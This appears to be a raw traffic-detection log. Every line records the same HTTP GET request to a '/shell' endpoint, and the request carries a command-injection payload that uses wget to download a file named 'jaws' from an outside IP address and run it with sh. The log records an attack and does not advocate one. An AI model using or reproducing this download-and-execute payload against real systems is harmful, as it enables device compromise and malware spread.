Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
